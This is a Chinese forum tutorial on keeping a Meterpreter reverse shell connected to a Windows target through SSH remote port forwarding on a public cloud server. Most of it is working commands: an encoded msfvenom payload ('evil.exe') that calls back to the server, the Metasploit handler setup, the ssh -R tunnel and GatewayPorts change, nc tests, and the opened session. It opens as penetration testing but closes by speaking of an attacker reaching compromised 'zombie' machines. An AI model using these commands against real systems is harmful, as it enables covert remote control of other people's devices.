搜索
查看: 6342|回复: 0

利用SSH端口转发,实现内网穿透

[复制链接]

330

主题

177

回帖

1071

积分

vip用户

积分
1071

注册会员活跃会员热心会员

QQ
发表于 2019-3-25 09:26:05 来自手机 | 显示全部楼层 |阅读模式
前言

当在一个局域网里,对内网的终端进行渗透测试的时候,可以直接通过内网IP互相访问。
但当目标离开局域网,或切换网络,你和目标之间将无法再通过内网IP通信。
本文,通过一台目标能正常访问的云服务器,用ssh做端口转发,最终和目标保持持续通信。

相关准备:

云服务器(有公网IP的服务器就可以,这里用的是某云服务器,OS:Centos7,IP:118.178.x.x)
Metasploit (OS:Kali,IP:10.211.55.29)
ssh
windows靶机
生成并编码一个payload

因为靶机系统是windows,这里用的payload是windows/meterpreter/reverse_tcp :
[pre]
# msfvenom -p windows/meterpreter/reverse_tcp lhost=118.178.x.x lport=5555 -e cmd/powershell_base64 -f exe > evil.exe
[/pre]
然后进入msfconsole,设置好后运行exploit进入监听模式:
[pre]
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.211.55.29
lhost => 10.211.55.29
msf exploit(handler) > set lport 4440
lport => 4440
msf exploit(handler) > exploit
  • Started reverse TCP handler on 10.211.55.29:4440
  • Starting the payload handler...
    [/pre]
    注意上面监听的端口是4440,会做解释。

    与云服务器建立ssh隧道和端口转发

    这里用是ssh的-R参数进行远程端口转发:
    [pre]
    # ssh -R \*:5555:10.211.55.29:4440 yun_host
    [/pre]
    通俗解释上面的命令:yun_host会将所有访问它5555的package转发到本地的4440。
    我们这里先不加-N参数,在登录上云服务器后,我们运行$ netstat -lnt看看tcp的端口情况,你的输出可能和我一样:
    [pre]
    root@timest:~# ssh -R \*:5555:10.211.55.29:4440 yun_host
    Last login: Thu May 18 11:15:27 2017 from 122.x.x.x

    Welcome to aliyun Elastic Compute Service!

    [timest@iZbp147cvofre8y3kd1l3xZ ~]$ netstat -lnt
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     
    tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN     
    tcp6       0      0 :::3690                 :::*                    LISTEN     
    tcp6       0      0 :::7946                 :::*                    LISTEN     
    [timest@iZbp147cvofre8y3kd1l3xZ ~]$
    [/pre]
    刚才设置的5555端口转发在Local Address是 127.0.0.1:5555 。这样我们的端口转发只能转发来自回环接口的请求。出现这种情况主要是:

    ssh -R 命令的bind_address没有指定0.0.0.0 或 \*
    GatewayPorts yes
    两种情况都在ssh文档里说明了,$ man ssh:

    By default, the listening socket on the server will be bound to the loopback interface only.  This may be
    overridden by specifying a bind_address.  An empty bind_address, or the address ‘*’, indicates that the
    remote socket should listen on all interfaces.  Specifying a remote bind_address will only succeed if the
    server's GatewayPorts option is enabled (see sshd_config(5))
    如果我们在命令里已经指定了0.0.0.0或\*,那我们再修改下sshd_config的GatewayPorts yes。
    重启下sshd,然后重新运行命令就会发现已经是
    [pre]
    [timest@iZbp147cvofre8y3kd1l3xZ ~]$ netstat -lnt
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      
    tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN     
    tcp6       0      0 :::3690                 :::*                    LISTEN  
    [/pre]   
    然后,我们在刚才的命令前加个-N,可以避免登录到服务器上:
    [pre]
    ssh -NR \*:5555:10.211.55.29:4440 yun_host
    [/pre]
    同时,我们可以用nc来测试下,在kali里打开一个终端:
    [pre]
    root@timest:~# nc -l -p 4440
    [/pre]
    另开一个终端,用nc连接阿里云服务器的5555端口:
    [pre]
    $ echo 'hello kali' | nc 118.178.89.235 5555
    [/pre]
    如果看到第一个终端成功输出hello world,则端口转发成功。

    root@timest:~# nc -l -p 4440
    hello kali
    让靶机中招

    将第一步编码后的payload在靶机上运行,就可以发现msf里成功拿到了meterpreter shell.

    msf exploit(handler) > run
  • Started reverse TCP handler on 10.211.55.29:4440
  • Starting the payload handler...
  • Sending stage (957487 bytes) to 10.211.55.29
  • Meterpreter session 4 opened (10.211.55.29:4440 -> 10.211.55.29:39412) at 2017-05-15 02:50:13 -0400

    meterpreter >
    收尾

    有时候,我们的目标机可能是手机或物联网设备等可移动性很强时,或者作为攻击者的你在一个局域网里,你又没有权限在路由器做端口转发,肉鸡无法成功访问到你的IP,我们就可以通过一台公网IP的服务器做ssh的端口转发,就能与其建立可靠的连接。
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表